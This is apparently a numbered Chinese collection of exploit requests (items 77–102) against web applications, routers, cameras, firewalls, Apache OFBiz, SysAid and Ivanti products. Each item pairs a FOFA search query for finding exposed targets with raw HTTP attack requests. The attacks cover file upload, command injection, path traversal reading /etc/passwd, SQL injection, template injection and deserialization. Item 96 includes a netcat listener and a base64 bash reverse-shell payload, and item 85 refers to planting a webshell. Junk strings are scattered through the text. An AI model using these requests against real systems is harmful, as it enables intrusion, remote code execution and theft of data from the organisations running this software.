/ _1 c7 s, }# W+ p3 n* b# m4 a
{
"command": "GetFZinfo",
$ Y2 a9 Y. s9 C3 d9 C  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


: f/ }0 }( V7 C$ [6 O4 ~4 EGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
$ e3 v8 g. W% D
2 U4 C) Y, Z; C* p/ I1 X2 S
& i3 e; ]6 g, v) r+ G; ~) l/ I- M
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
3 e, x4 E! {( t/ J* p; HHost: x.x.x.x
# ?$ o4 Z1 N& F  {5 u  E) x6 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ O5 Q. X0 [* r1 K$ {, U. nConnection: close
5 a* m$ ~5 n' I; o) Q! K8 d' {$ g( KContent-Length: 433
/ {& O: @* L+ j7 XAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
3 w/ \& B0 f+ r$ f' g( {
) b. I/ J8 Q3 w/ {------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
8 V; ?1 _) k8 u0 Q7 ^5 I! A& i* SContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
9 @! o7 b- x1 n6 F
9 W6 O: f6 k& x* L+ Z1 thello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


+ [8 P2 a, u1 y$ [78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
( R* q0 ]# w9 T' W7 {% Z0 APOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
+ z8 x" c6 i- ~8 z2 sContent-Length: 336
7 }" A2 |4 }7 GAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
2 w  W! G. s* U5 v& Z
3 b' u& j- ~' L------YsOxWxSvj1KyZow1PTsh98fdu6l
( x; ]) \) ~7 o) DContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
: c2 I  _# D$ r! H
2 }: Q  G# |  ^/Applications/SkillDevelopAndEHS/
3 @, O: K# g, _# G9 u9 q- `# R------YsOxWxSvj1KyZow1PTsh98fdu6l--


# V* D, j8 X# \4 ]$ C6 A' |! ^GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
# ^# }; `# l3 N" b) x0 [1 m

' m5 ?, j2 T: r79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
5 Z" v2 `' v8 B. ?+ o; aGET /goform/webRead/open/?path=|id HTTP/1.1
3 w7 q$ z' J& R) }* W- FHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
3 w/ w; w7 O  ?* N( T# D' P: TConnection: close
Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
; L$ N% f* u' K! q3 {$ @( w; n3 kPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
: ]% R5 e! ^6 LHost: x.x.x.x
9 \- ?) m( [1 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
0 a0 W) J; O* }' KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
5 A8 e" j; q3 I* R5 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
6 S9 y# B  A" N, gContent-Type: application/octet-stream
% ?3 u% n& P) t9 N3 K5 ]Upgrade-Insecure-Requests: 1
" D* J7 E$ ]0 G1 f. U0 M
<% out.print("oessqeonylzaf");%>

* }; j& @0 W3 X  Q- ^
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


$ f" J8 B6 [5 f3 W6 l1 p81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
% n+ r6 O* z+ i7 P2 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- W0 }  s2 A- _Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
) E. P! w' O. ^5 `4 b' @1 ~6 P. L! VFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
) h, z1 R4 h3 p) PUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
) E" q8 X* F( `' UReferer: BaseURL
$ V3 u: N- A9 ]4 D/ F9 Z
. M& F& M2 N7 O2 E! \z1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
$ }& ]+ g4 k8 v- X. V/ L, P
) G) q/ O; x; o( j
* s2 D: v, Z: p3 g9 V7 XPOST /jmreport/testConnection HTTP/1.1
( W. w% f, O+ f+ q! z, a' v+ s  oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. Q" A! @6 E% O: v4 `Connection: close
* d9 T# h4 R1 r( o$ lContent-Length: 8881
Accept-Encoding: gzip
7 o  l% h1 R" X1 t' ?Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
0 ^3 ?( y, ?* V3 T- u# d
PAYLOAD

- V6 A/ P1 _9 _: W* S. F84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"



* [1 U" k9 E; c6 Y/ BPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
+ N* c& P* l: R4 G" a8 }7 P2 BContent-Length: 156
' V, x1 q: b! J6 XAccept: */*
Connection: close
3 o/ e& `+ ?+ a* j% ~Content-Type: application/json
& Q6 r) n7 b* O5 T: \, LAccept-Encoding: gzip
& B0 Q2 V" H! Q) Y: F* A9 l
{
1 l8 m2 P8 s0 ?& O6 j3 ~  o0 ^ "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
8 P3 P, X$ a/ S  "type": "0"
# C& c0 s* T: X; H}
' {" N5 e3 j( k2 p9 G. f! K

. d! z0 ^* d" ~! L1 Y6 I4 y85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
% O( [: b7 x8 B; b+ \* p3 |EXP数据包如下，注入哥斯拉马
; {3 |0 b: g/ KPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
3 B9 G( m# z% qHost: x.x.x.x
1 b; U! a2 @. w  }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
- t. S5 I( w& D4 r$ b
PAYLOAD

4 i& H* s, e# e- {回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
$ `' w. J2 B4 Z# U2 u0 H( v( }User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
6 C7 H3 Y+ Z4 D8 p  i7 bContent-Length: 44
  F9 a' x8 J& ]7 oAccept: */*
6 h! x( u! p& x: jAccept-Encoding: gzip
0 y3 J3 v6 U( m7 }& Z/ k. \Accept-Language: en
Content-Type: application/x-www-form-urlencoded
) _- H6 `% K' g% f. I( E
) c4 m: D$ n; J( @2 Y; ~6 q& rhost=%0acat${IFS}/etc/passwd%0a&command=ping
$ @9 y7 p4 c, t, D* P
& E9 n. P* X" w$ `
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
' E6 ~1 H0 d7 o5 g% K4 N. gContent-Length: 198
$ n6 @) a. f: Z  _8 kAccept-Encoding: gzip
( ?6 R* p2 j1 iContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
2 w; n1 x/ h, p/ C: O) ]6 U+ |
& w/ }& O( n; P/ E--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
5 Q8 Z5 f) B; p: p
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
: T4 A1 M9 L& D2 o( f5 y0 E--qqobiandqgawlxodfiisporjwravxtvd--
! k) S; }7 M! g" @  w
9 Y8 E. Q, G* f& N  P2 r
  |8 u- i! u4 u( a4 D6 [/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
8 a; x) y4 Q9 C! C2 ^2 sFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
, H3 K5 z/ k4 BHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% V# B+ B  I0 v9 K; |- hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. k1 O- m# c. G+ AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 }" J. L6 W5 iConnection: close
" Q- j* Y; y: d+ p

/astdfkhl.php
+ _5 {9 s3 W# v& }2 U
# |3 S- w; p, S89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
1 p6 x% m4 G5 T9 q7 v; w1 kPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
2 z" y& K4 z/ h; t0 [6 {5 E/ SHost: x.x.x.x
: `5 q0 m' l7 K$ A1 J0 @4 t! mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# L8 J0 m/ e7 U- [1 Z0 N4 I* jConnection: close
$ i) t- N3 w7 ^7 BContent-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
5 o- D& Z0 L. V* Z  v. \: zPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
3 W$ M' e( U! q" IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 b) M, E; v  m& a- R3 bConnection: close
Content-Type: application/x-www-form-urlencoded
: q* d- k( s6 o0 m" fX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
& I1 N! ]) _% o/ j8 L

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
" U# e/ N' O# [( SFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
1 a& T  P8 M2 i! v& pHost: your-ip
; l! E' }8 o7 z3 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
) ~+ q4 v8 w+ D* W" K0 bAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

! X& w8 x) a, X! N
! B7 D3 p3 B( f  `
92. 海康威视运行管理中心session命令执行
Fastjson命令执行
: H% D4 I# l/ C3 N/ T7 U* Rhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
& G0 |" u& w2 h- T6 O% n3 J8 ZPOST /center/api/session HTTP/1.1
2 ?$ G0 J6 c% Y" L! m; T' ?$ RHost:
Accept: application/json, text/plain, */*
; |4 n% y! T, d- [! m- ^6 L% JAccept-Encoding: gzip, deflate
5 n  q+ m, o! o, @6 V9 pX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
, `. M' B; G8 y2 ?8 i5 nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
! |* ~2 P2 _8 y: w6 X5 sContent-Length: 5778

PAYLOAD
8 T: B) a; u. `4 w; y- L; ~
. H. @8 |+ n  G! S  ]' D( s
! o6 `& p8 X5 n93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
- S- b8 f6 o9 y7 N( ?FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
0 k9 O3 X: n' c* X& G
------WebKitFormBoundarykcbkgdfx
6 y/ J* q0 j8 T4 M6 M1 s' mContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
3 |5 {& P9 L7 P4 WContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
8 Q& c+ ]5 o, d, UContent-Type: text/plain

4 S( {; ]7 P. |0 k8 a. Uwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
2 r) `! i! J- H: t( p6 K5 I
4 s7 V' Q3 T' h( C/ O" }( D( \obj_app_upfile
------WebKitFormBoundarykcbkgdfx
4 V% K) B( ]$ a+ S5 \* uContent-Disposition: form-data; name="__hash__"
) Z" ]8 X3 @9 d$ s7 [. \3 z
  j( y* U+ E3 X8 j0 |0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

# |5 ~6 H0 P+ ~; v  Z; c) @
GET /attachements/xlskxknxa.txt HTTP/1.1
+ i3 C2 B$ s( H5 B, @Host: xx.xx.xx.xx
, W. b5 B& x+ t" \- oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' n6 s- B$ b. `1 R# p

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
7 X% @, G5 G+ }/ m2 V& j& r4 dFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
9 A) O( h% u' m" cHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( S  ~! W9 Q& E( v6 t0 \
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
7 J' W- c* z) S
10000000
& k! k7 \2 ?% d$ t% t/ |9 h------WebKitFormBoundarybqvzqvmt
- I0 ]: G/ b) h8 TContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
8 a/ \5 p# Z( S+ k4 @Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
5 D" t" S; }9 a- h/ r4 a------WebKitFormBoundarybqvzqvmt
+ O0 O, o! V% Q' hContent-Disposition: form-data; name="submit_post"
  g+ f" u/ Y) H! J  [# M
obj_app_upfile
3 F& r% ]! y8 K, y$ N------WebKitFormBoundarybqvzqvmt
) D3 ?. q& N% D+ [# s6 f7 @Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
4 F8 v- O/ r5 d------WebKitFormBoundarybqvzqvmt--
# `) X& q$ Z0 {& T& {


$ t5 _1 R/ T0 H/ rGET /attachements/xlskxknxa.txt HTTP/1.1
6 r4 L" Q) U+ ], u" aHost: xx.xx.xx.xx
1 z: t4 O; N# L: y/ z/ l  gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) _2 t! b' y2 J2 ~4 a' j! S
  l' i3 R8 C2 x% [6 S* W; X7 a5 l- _
' v" X4 k2 f* K& J: O2 x0 ^
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
1 h3 u! o5 G$ k: w2 S& k( K( BPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
/ Q3 f  Q, b* }% W5 t1 r4 B6 hUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 l! F% m4 Y6 P0 ?( H* ~Connection: close
% ]" c- _7 K7 k, Z; sContent-Length: 889
Content-Type: application/xml
9 [% y5 |; d: z8 C9 P# i5 h8 uAccept-Encoding: gzip

<?xml version="1.0"?>
3 i- R7 V, ^$ [<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
8 p- A# j% E. _! s2 \- w* d& X& w      <value>
        <struct>
* y& V% J, ~. r# N* K7 T) M* R, m! d  K       <member>
          <name>test</name>
$ c3 C- n; y, `2 v: q. q4 L          <value>
  M# Y$ @" A: u- u      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
# K6 i. ?; w+ f3 s8 Z9 b      </struct>
      </value>
0 p" N- v7 @% _! F    </param>
* ^& n8 [) |9 W& }/ c    </params>
</methodCall>
: t& ?) n9 M0 N/ W" J0 V8 U& V
! W* x3 [$ a$ u# S% R3 C1 H+ r
用ysoserial生成payload
. w* a+ p) J6 k8 @! d' D/ |1 Fjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


8 p# W# \/ J: j4 R  \9 d将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
% K% z0 j8 v2 m, {6 j8 QHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
4 v; O8 v# c- E" D% I0 oConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
1 s0 b4 [$ ?  \8 p! q! _* W
PAYLOAD
' _7 S* a3 _. O9 m
1 Z. ^% h! _" x! \. F* r5 ]5 x4 ]96. Apache OFBiz  18.12.11 groovy 远程代码执行
5 F& x- D/ F3 _! h: d* Z; n6 x$ dFOFA：app="Apache_OFBiz"
5 N/ x1 U/ Q; q. r+ J. nPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
$ [" i" N! Y: C) IHost: localhost:8443
. I" O/ p) {3 k& aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
* m5 w# E) l: MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# Q$ w/ O0 \8 k$ lContent-Type: application/x-www-form-urlencoded
+ I3 r' ]; d6 w. k5 BContent-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
: ^' a( B' m  Z) vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
" g5 z- W1 j! S: w* w" w, P3 W
$ j/ F& |0 E% ggroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
3 ^* k' Y/ j3 Y8 W; @8 D
; [) l7 ?- x' F1 \97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
4 b% h5 m7 C! J& M1 ~Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
) c; F. Z# P) j. E5 X, tCookie: rememberMe=PAYLOAD
) U. v1 t7 n1 `6 S3 x* e& C1 pX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
8 z" v1 u' O- ?4 J' w
$ R9 }/ ^, G1 z* C" @' R; @
98. SpiderFlow爬虫平台远程命令执行
: E. r, P6 W9 B- O# @CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
/ b# A7 o8 G1 V1 h* BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
/ M3 |* w3 o4 ~7 r7 K$ oContent-Length: 121
* u+ j: v7 c$ a3 h3 w, A1 t8 @Accept: */*
0 r/ F# G) m# |Accept-Encoding: gzip, deflate
4 t$ m6 Z# I0 A% i) C" xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  b* \# v5 p' l: g5 hContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
8 q4 j0 ]1 i. I. H9 t2 e- t4 x
2 v% q* u; e  ~6 @- a" Iid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
4 {$ J" S7 A" Y3 |, \, Z5 g
9 c1 ~) }0 Y8 N. k, S2 J
' O9 V" q. N* M2 a. A3 N+ w99. Ncast盈可视高清智能录播系统busiFacade RCE
" h" s* |8 I: N. x3 GCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
2 v8 V/ U1 C, j) E- LPOST /classes/common/busiFacade.php HTTP/1.1
9 w5 r  E1 C& X& c( c( j; X1 pHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
! q3 K: c5 n% `8 ^7 gAccept: */*
Accept-Encoding: gzip, deflate
8 z8 C9 ?! ?2 h7 _" p& i. @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 [, i# K$ B! F% F' A6 KContent-Type: application/x-www-form-urlencoded; charset=UTF-8
. A  z( C) g1 R9 |# `3 D0 e/ eX-Requested-With: XMLHttpRequest
% I( d5 v" m' m, h& U; ^
/ M. w4 l, S/ l) V. J7 M%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
4 V+ S) ~2 ~; T8 i+ h; pCVE-2024-0352
; q; r! Q9 A* r  o, s, WFOFA：icon_hash="874152924"
2 ~  x0 A9 s2 n9 S  A7 ]POST /api/file/formimage HTTP/1.1
, f  O! \: I* m5 ]: kHost: 192.168.40.130
; L, a' R7 X0 x7 jUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
* I, `/ G! _& ^( s4 w/ oContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
" H% x' |) n6 a2 C2 `Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
5 K+ O% m8 |( ]) fContent-Disposition: form-data; name="file";filename="IE4MGP.php"
- u& w0 T! J! uContent-Type: application/x-php
4 I% _! q. h( K3 g6 \; k0 |
2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
  W5 H( X# [; J
; o7 j( E/ D+ w+ V' C
1 S4 `1 \1 O# s; H3 C' V7 R101. ivanti policy secure-22.6命令注入
8 @: I* F( T2 \4 |( Q1 fCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
) `/ ?: F5 g4 K' LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 w7 d6 K  d* s) p! H5 p- mConnection: close
$ X4 [$ T7 z7 x! fAccept-Encoding: gzip
2 @0 L# V2 J1 u0 g9 y

' A4 ]6 n  |2 R5 _" c# o% ]102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
' V9 R; l1 Q7 \( L% Y/ U8 SFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
- |+ s5 W% h0 x! ~" w4 qHost: x.x.x.x
/ A8 r( a* Y- `- lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
/ {9 L6 ?) {/ q: D# i% mConnection: close
9 S) E$ S, I1 c+ G! _Content-Length: 792
! P! [- f1 b/ O  F- b6 u* BAccept-Encoding: gzip

